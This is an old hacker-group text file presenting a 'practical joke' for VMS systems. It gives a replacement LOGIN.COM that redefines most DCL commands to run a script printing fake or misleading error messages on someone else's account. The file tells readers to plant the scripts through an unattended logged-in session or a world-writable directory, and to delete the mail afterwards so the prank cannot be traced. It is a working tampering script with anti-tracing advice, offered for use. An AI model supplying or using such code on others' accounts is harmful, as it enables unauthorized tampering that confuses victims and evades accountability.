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Underground eXperts United - File #070
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Underground eXperts United
Presents...
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[ A Joke for VMS-Users ] [ By Ralph 124C41+ ]
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A joke for VMS-users
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by Ralph 124C41+ of PowerDrive
This is a little practical joke we have used a few times at my school when
somebody forgot to log out (a quite common thing among pupils who aren't
too experienced with computers). I think it could be quite fun for you to
try it out if you have the possiblity to do so.
What it does is in short, is that it redefines almost every command to run
a COM-file. What you put in that file is up to you. In this example we simply
write the message "I'm sorry Dave, I'm afraid I can't do that", but you can
change it as much as your imagination allow. A good idea is to have
$ WRITE SYS$OUTPUT F$MESS(%X <number>)
where <number> is a number. This writes a system error message, this is good
fun and can keep an inexperienced user in confusion for a very long time. Even
teachers have been fooled by this. Some good numbers to try is 360, 350, 290,
230 and 120. A nasty one is 0, which means that the program exited without an
error. That's *very* confusing! He he he...
Anyway, here come the files, just cut where marked and there shouldn't be a
problem. The first file is to replace LOGIN.COM and the you should name the
second LOG1.COM. If you want to be more advanced, you can have several files to
produce different messages. The LOGIN.COM redefines the most common commands on
our system, yours will probably be different but it's a good start.
---------------------------------< CUT HERE >-----------------------------------
$! LOGIN.COM for VMS joke.
$
!
$ edt :== @log1
$ cop*y :== @log1
$ am*is :== @log1
$ hel*p :== @log1
$ dir*ectory :== @log1
$ set :== @log1
$ sh*ow :== @log1
$ def*ine :== @log1
$ cre*ate :== @log1
$ typ*e :== @log1
$ ed*it :== @log1
$ mai*l :== @log1
$ pho*ne :== @log1
$ ass*ign :== @log1
$ conn*ect :== @log1
$ cont*inue :== @log1
$ del*ete :== @log1
$ rena*me :== @log1
$ pu*rge :== @log1
$ li*nk :== @log1
$ bas*ic :== @log1
$ pas*cal :== @log1
$ for*tran :== @log1
$ req*uest :== @log1
$ pr*int :== @log1
$ ru*n :== @log1
$ mes*sage :== @log1
$ mer*ge :== @log1
$ inq*uire :== @log1
$ ini*tialize :== @log1
$ mon*itor :== @log1
$ exit
---------------------------------< CUT HERE >-----------------------------------
Here follows the file that is the actual joke. If you don't like this you can
change it to do whatever you like but I think this is good fun, at least if you
have seen 2001...
---------------------------------< CUT HERE >-----------------------------------
$! LOG1.COM
$
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT " I'm sorry Dave, I'm afraid I can't do that."
$ WRITE SYS$OUTPUT ""
$ EXIT
---------------------------------< CUT HERE >-----------------------------------
One problem is how you are going to copy the files from your account to the
one you are about to joke with. One idea would be to
$SET PROT=(W:RWED) <user>.DIR
or perhaps use the ACL and then copy the files over. But this is not a very
good idea, it can be traced and that's not what we want! It's much better to
mail it, like this (from your account)
$MAIL LOG.COM <user>
$MAIL LOG1.COM <user>
Then the files will be mailed to the user so you just can enter mail, read the
message and
Mail>EXTRACT LOGIN.COM
Mail>DELETE
It's important to delete the message because otherwise it's quite obvious who
pulled the joke. Then you just edit the files to remove the header, remember to
PURGE and everything is set.
And that's about it. Have a fun life and remember: keep cool, if you can't be
cool, be cold.
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